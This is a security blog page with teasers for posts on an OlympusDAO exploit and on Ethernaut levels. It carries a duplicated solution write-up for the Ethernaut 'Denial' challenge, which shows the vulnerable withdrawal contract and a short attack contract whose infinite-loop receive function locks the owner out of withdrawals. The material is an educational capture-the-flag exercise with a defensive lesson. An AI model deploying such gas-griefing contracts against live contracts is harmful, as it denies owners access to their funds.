
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance
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This one is pretty straightforward since it builds on principles from previous challenges. Here, we want to deny service to the owner of the contract, making it impossible for them to perform withdrawals.
Here is the contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
This contract allows us to set the partner to be any address. When we call withdraw, we pay the gas fees and get a small amount of the funds. The owner gets the same amount of funds.
When transferring funds to another address, we need to take care because that address might be another contract that can run code. The EVM will run the code in the receive function of the called contract no matter what it is. That code can revert, exhaust gas etc. This is exactly what we will be doing to crack this challenge. This is my simple attack contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialAttack {
receive () payable external {
while (true) {}
}
}
Here, call an infinite loop in the receive function to exhaust the gas that was sent. This makes it impossible for the owner to access their funds. This can also be solved by doing a revert or assert(false) in the receive function.
Sending ether to an address needs to be done carefully because it might be a contract on the other side which will run malicious code
This one is pretty straightforward since it builds on principles from previous challenges. Here, we want to deny service to the owner of the contract, making it impossible for them to perform withdrawals.
Here is the contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
This contract allows us to set the partner to be any address. When we call withdraw, we pay the gas fees and get a small amount of the funds. The owner gets the same amount of funds.
When transferring funds to another address, we need to take care because that address might be another contract that can run code. The EVM will run the code in the receive function of the called contract no matter what it is. That code can revert, exhaust gas etc. This is exactly what we will be doing to crack this challenge. This is my simple attack contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialAttack {
receive () payable external {
while (true) {}
}
}
Here, call an infinite loop in the receive function to exhaust the gas that was sent. This makes it impossible for the owner to access their funds. This can also be solved by doing a revert or assert(false) in the receive function.
Sending ether to an address needs to be done carefully because it might be a contract on the other side which will run malicious code
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